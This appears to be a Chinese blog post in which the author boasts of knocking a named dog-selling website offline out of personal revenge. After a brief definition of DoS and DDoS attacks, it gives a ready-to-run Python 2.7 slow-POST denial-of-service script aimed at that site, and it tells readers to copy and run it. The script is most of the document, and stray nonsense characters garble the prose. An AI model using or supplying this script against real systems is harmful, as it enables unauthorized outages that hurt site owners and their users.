前言
一 狗店老板欺負我女神治笨,作為一個程序員這如果都能忍那還算男人考婴?得知這個狗店老板賣狗網(wǎng)站后果斷決定黑了他,看他囂張不囂張杆麸。我使用的是DOS攻擊,沒一分鐘就把他的網(wǎng)站日癱了浪感,解氣昔头。
DOS
DOS拒絕服務攻擊(Denial-of-Service Attack)亦稱洪水攻擊,是一種網(wǎng)絡攻擊手法影兽,其目的在于使目標電腦的網(wǎng)絡或系統(tǒng)資源耗盡揭斧,使服務暫時中斷或停止,導致其正常用戶無法訪問峻堰。
分布式拒絕服務攻擊(Distributed Denial-of-Service Attack)讹开,是使用網(wǎng)絡上兩個或兩個以上被攻陷的電腦作為 “僵尸” 向特定的目標發(fā)動 “拒絕服務” 式攻擊。
代碼
Windows上python 2.7直接復制過去跑癱這個買狗的捐名。
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.bjlovedog.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "Could not connect to server or send error:%s"%ex
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
#print "send OK!"
except Exception,ex:
print "Send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()